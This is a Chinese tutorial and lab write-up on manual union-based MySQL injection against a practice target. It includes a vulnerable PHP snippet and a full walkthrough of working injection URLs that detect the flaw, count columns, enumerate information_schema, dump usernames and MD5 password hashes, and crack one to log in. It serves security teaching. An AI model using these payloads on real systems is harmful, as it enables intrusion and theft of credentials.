01_SQL注入_Mysql注入利用联合查询的手工注入

01_SQL注入_Mysql注入:利用联合查询的手工注入

1.SQL注入的成因

【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!
01_SQL注入_Mysql注入利用联合查询的手工注入_第1张图片
遵纪守法,做合格网民!!!!

开发过程中,一些开发者会直接将URL的参数,POST方法的参数等一些列外来输入的参数拼接到SQL语句中。上述做法会造成SQL语句的可控,从而使得测试者能够通过执行SQL语句,实现一些自定义操作。

$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

例如上述代码中:SQL语句部分的$id变量就会将代码第一行GET到的参数直接和SQL语句拼接。

2.Mysql注入的思路

01_SQL注入_Mysql注入利用联合查询的手工注入_第2张图片

注入点的判断:

1.利用人为的SQL语句逻辑错误判断是否能够对数据库进行操作;

首先明确,常见的查询逻辑 与 或 非,这里只介绍常用的and和or。
我们知道如下表达式
真 and 真 = 真
真 and 假 = 假
真 or 假 = 真
那么,一种判断是否存在SQL注入的手动测试方法就是:利用上述逻辑进行测试,如果人为注入的逻辑正确,页面会正常显示;逻辑错误,页面会出现异常(注意:不是报错)。也就是说出现下面情况可以判断SQL我们是能够进行人为的SQL注入测试的。

原本语句 SELECT * FROM users WHERE id =1 LIMIT 0,1 查询正常

在id=1后拼接 and 1=1的真逻辑:SELECT * FROM users WHERE id =1 and 1=1 LIMIT 0,1 页面正常

在id=1后拼接 and 1=-1的假逻辑:SELECT * FROM users WHERE id =1 and 1=-1 LIMIT 0,1 页面错误

当然也可以采用一种比较直接的方式判断:直接通过错误查询看页面是否出现异常,如果异常,就表明我们拼接的语句是能够操作数据库的,如下所示:

原本语句 SELECT * FROM users WHERE id =1 LIMIT 0,1 查询正常

修改id参数(反正没人认识我,随便改了):SELECT * FROM users WHERE id =wo_shi_sha_bi LIMIT 0,1 页面错误

信息收集:

操作系统:有些操作系统是区分大小写的,为了保证SQL注入的成功,区分大小写很必要

数据库名:定位到目标数据库

数据库用户:对于不同权限的用户有不同的思路

数据库版本:低版本和高版本有不同的做法

网站路径:涉及到文件读写问题

数据注入

Mysql 5.0以前的版本采用暴力查询的方案

Mysql 5.0以后的版本利用information_schema库查询

高级权限注入

一种思路是回归到一般的数据注入

当然也可以利用注入进行跨库的查询或进行文件读写操作

3.实战:利用联合查询的手工注入

CTF竞赛中此类题型往往会将数据回显到页面中:本部分采用墨者学院在线靶场进行演示记录

地址:https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe

连接靶场:观察,并未发现存在URL中存在拼接的可能性
01_SQL注入_Mysql注入利用联合查询的手工注入_第3张图片
尝试点击页面元素:
01_SQL注入_Mysql注入利用联合查询的手工注入_第4张图片
成功跳转到URL可操作的页面
01_SQL注入_Mysql注入利用联合查询的手工注入_第5张图片

尝试通过URL拼接进行SQL注入的测试

STEP1:注入点的判断

1.是否存在SQL注入的可能性

浏览器中输入http://124.70.64.48:41606/new_list.php?id=1 and 1=1 得到正常回显
01_SQL注入_Mysql注入利用联合查询的手工注入_第6张图片

http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 页面出错
01_SQL注入_Mysql注入利用联合查询的手工注入_第7张图片
自此我们判断该站点可以进行SQL注入测试

2.猜测列数

语句拼接 order by x;直到页面异常

这一步的意义是为了后续操作中参数回显做准备,在不知道交互怎么写的情况下,只有尝试,因为我们不知道回显的是表中的哪些列

回归本靶场的测试:一直拼接到order by 4都是正常显示,到order by 5 时,页面出现异常

http://124.70.64.48:41606/new_list.php?id=1order by 5
01_SQL注入_Mysql注入利用联合查询的手工注入_第8张图片
由此我们判断,参与本页回显的有四列

3.利用人为的逻辑错误 和 联合查询判断参与页面显示的是哪些列

http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,2,3,4
01_SQL注入_Mysql注入利用联合查询的手工注入_第9张图片
由此,后续我们只需要一步一步对union中的2,3字段不断替换,重复操作,让我们想要的信息回显即可

Step2:信息收集

数据库版本:version()

数据库名称:database( )

数据库用户:user( )

操作系统:@@version_compile_os

http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,database(),version(),4
01_SQL注入_Mysql注入利用联合查询的手工注入_第10张图片
http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,user(),@@version_compile_os,4

01_SQL注入_Mysql注入利用联合查询的手工注入_第11张图片
至此,我们收集到了需要的信息,根据数据库的版本在5.0以上,我们可以判断存在information_schema库供我们使用:

数据库版本: 5.7.22-0ubuntu0.16.04.1

数据库名称: mozhe_Discuz_StormGroup

数据库用户: root@localhost

操作系统: Linux

Step3:数据注入—Mysql高版本的思路

information_schema 存储有所有数据库名、表名、列名,可以通过查询这个数据库获得想要的信息

数据库中’’."代表下一级a.b代表a数据库中的b表

information_schema.tables:表

information_schema.columns:列

table_name:表名

column_name:列名

table_schema:数据库名

1.查询表:通过上一步我们已经查到了数据库mozhe_Discuz_StormGroup为本网站使用的数据库,因此通过语法查询该库中有哪些表:

http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

得到回显: StormGroup_member,notice
01_SQL注入_Mysql注入利用联合查询的手工注入_第12张图片
根据表的名称推测:我们需要用到的是StormGroup_member这张表

2.查询列

http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

01_SQL注入_Mysql注入利用联合查询的手工注入_第13张图片
得到回显

3.查询具体信息,我们想要获得的是用户名和密码因此可以查询

http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
01_SQL注入_Mysql注入利用联合查询的手工注入_第14张图片
我们查到两个用户名和口令的密文形式,两个用户名一致因此需要查看一下账号的状态,确保我们要登录的账号是可用的(其实这一步已经可以尝试了,但是考虑到现实中MD5的彩虹表攻击没那么简单所以进行了这一步)

http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,group_concat(name),group_concat(status),4 from StormGroup_member
01_SQL注入_Mysql注入利用联合查询的手工注入_第15张图片
回显得后者为真值,因此记录下:
用户名:mozhe
密码: 6c761925e2ba5bc5a4fa9b548f66a340

Step4:尝试解密:

工具:https://www.sojson.com/encrypt_md5.html

采用工具得:817469
尝试登陆:
01_SQL注入_Mysql注入利用联合查询的手工注入_第16张图片
01_SQL注入_Mysql注入利用联合查询的手工注入_第17张图片
拿下!!!回家吃西瓜!!!
01_SQL注入_Mysql注入利用联合查询的手工注入_第18张图片

【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!

你可能感兴趣的:(Web安全实战记录,web安全,安全性测试,网络,网络安全)